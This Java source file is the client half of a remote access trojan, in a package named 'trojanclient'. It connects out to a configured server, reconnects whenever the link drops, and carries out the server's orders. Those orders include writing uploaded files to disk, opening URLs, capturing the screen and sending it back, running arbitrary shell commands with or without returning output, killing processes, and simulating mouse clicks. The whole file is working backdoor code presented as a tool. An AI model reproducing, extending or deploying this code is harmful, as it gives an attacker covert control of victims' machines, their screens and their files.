package org.ericquan8.trojanclient.control;

import java.awt.AWTException;
import java.awt.Image;
import java.awt.Robot;
import java.awt.event.InputEvent;
import java.io.File;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.net.Socket;
import java.net.UnknownHostException;
import java.util.List;
import java.util.Properties;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.logging.Level;
import java.util.logging.Logger;

import javax.swing.ImageIcon;

import org.ericquan8.trojanclient.Key;
import org.ericquan8.trojanclient.box.FrameWindows;
import org.ericquan8.trojanclient.monitor.MonitorServer;
import org.ericquan8.trojanclient.util.Command;
import org.ericquan8.trojanclient.util.FileUtil;
import org.ericquan8.trojanclient.util.ImageUtil;
import org.ericquan8.trojanclient.util.PropertiesReader;

/**
 *
 * @author eric
 */
public class ClientController {

    private static Socket socket = null;
    private static ObjectInputStream reader = null;
    private static ObjectOutputStream write = null;
    private static String mark = "ID";
    private static ExecutorService executorService = Executors.newFixedThreadPool(20);
    private static List<Process> processList = new java.util.concurrent.CopyOnWriteArrayList<Process>();
    private static Robot robot = null;

    public static void connect() {
        clearSocket();
        boolean isConnected = false;
        while (!isConnected) {
            try {
                readProperties();
                socket = new Socket(Key.host, Key.port);
                write = new ObjectOutputStream(socket.getOutputStream());
                reader = new ObjectInputStream(socket.getInputStream());
                isConnected = true;
            } catch (UnknownHostException ex) {
                clearSocket();
            } catch (IOException ex) {
                clearSocket();
            }
        }
    }

    public static void main(String[] args) {
        try {
            readProperties();
            new Thread(new Runnable() {

                @Override
                public void run() {
                    MonitorServer.start(Key.monitor_port);
                }
            }).start();
        } catch (IOException ex) {
            ex.printStackTrace();
            System.exit(1);
        }
        String localId = "127.0.0.1";
        try {
            localId = InetAddress.getLocalHost().getHostAddress().toString();
        } catch (UnknownHostException ex) {
            Logger.getLogger(ClientController.class.getName()).log(Level.SEVERE, null, ex);
        }
        mark = localId.substring(localId.lastIndexOf(".") + 1, localId.length());
        connect();
        init();
        new FrameWindows(mark).setVisible(true);
        while (true) {
            try {
                Object dataType = reader.readObject();
                if (dataType.equals(Key.FILE)) {
                    String path = reader.readObject().toString();
                    byte[] b = (byte[]) reader.readObject();
                    FileUtil.downloadFile(b, path);
                } else if (dataType.equals(Key.BROSWER)) {
                    String path = reader.readObject().toString();
                    Command.openURL(path.toString());
                } else if (dataType.toString().equals(Key.SCREEN)) {
                    Image image = ImageUtil.getWindowsImage();
                    write.writeObject(new ImageIcon(image));
                    write.flush();
                    write.reset();
                } else if (dataType.toString().equals(Key.COMMAND)) {
                    String command = reader.readObject().toString();
                    String responseData = Command.exe(command.toString(), processList);
                    if (responseData == null || command.length() == 0) {
                        responseData = "Operation has been executed without return message.\r\n";
                    }
                    write.writeObject(responseData.toString());
                    write.flush();
                    write.reset();
                } else if (dataType.toString().equals(Key.KILL)) {
                    for (Process p : processList) {
                        p.destroy();
                    }
                    processList.clear();
                } else if (dataType.toString().equals(Key.OPERATION)) {
                    robot.mousePress(InputEvent.BUTTON1_MASK);
                    robot.mouseRelease(InputEvent.BUTTON1_MASK);
                } else {
                    String command = reader.readObject().toString();
                    executorService.execute(new ExecuteRunnable(command.toString()));
                }
            } catch (IOException ex) {
                try {
                    Thread.sleep(Key.DELAY_TIME);
                } catch (InterruptedException ex1) {
                    Logger.getLogger(ClientController.class.getName()).log(Level.SEVERE, null, ex1);
                }
                connect();
            } catch (ClassNotFoundException ex) {
                try {
                    Thread.sleep(Key.DELAY_TIME);
                } catch (InterruptedException ex1) {
                    Logger.getLogger(ClientController.class.getName()).log(Level.SEVERE, null, ex1);
                }
                connect();
            }
        }
    }

    private static void clearSocket() {
        if (socket != null) {
            if (!socket.isClosed()) {
                try {
                    socket.close();
                } catch (IOException ex) {
                    Logger.getLogger(ClientController.class.getName()).log(Level.SEVERE, null, ex);
                }
            }
        }
    }

    public static void init() {
        executorService = Executors.newFixedThreadPool(20);
        processList = new java.util.concurrent.CopyOnWriteArrayList<Process>();
        try {
            robot = new Robot();
        } catch (AWTException ex) {
            Logger.getLogger(ClientController.class.getName()).log(Level.SEVERE, null, ex);
        }
    }

    public static void readProperties() throws IOException {
        Properties p = PropertiesReader.read(new File("client.conf"));
        Key.host = p.getProperty("IP");
        Key.port = Integer.parseInt(p.getProperty("TROJAN_SERVER_PORT"));
        Key.monitor_port = Integer.parseInt(p.getProperty("MONITOR_SERVER_PORT"));
    }

    static class ExecuteRunnable implements Runnable {

        private String command = null;

        public ExecuteRunnable(String command) {
            this.command = command;
        }

        @Override
        public void run() {
            Command.exeWithNoResult(command, processList);
        }
    }
}
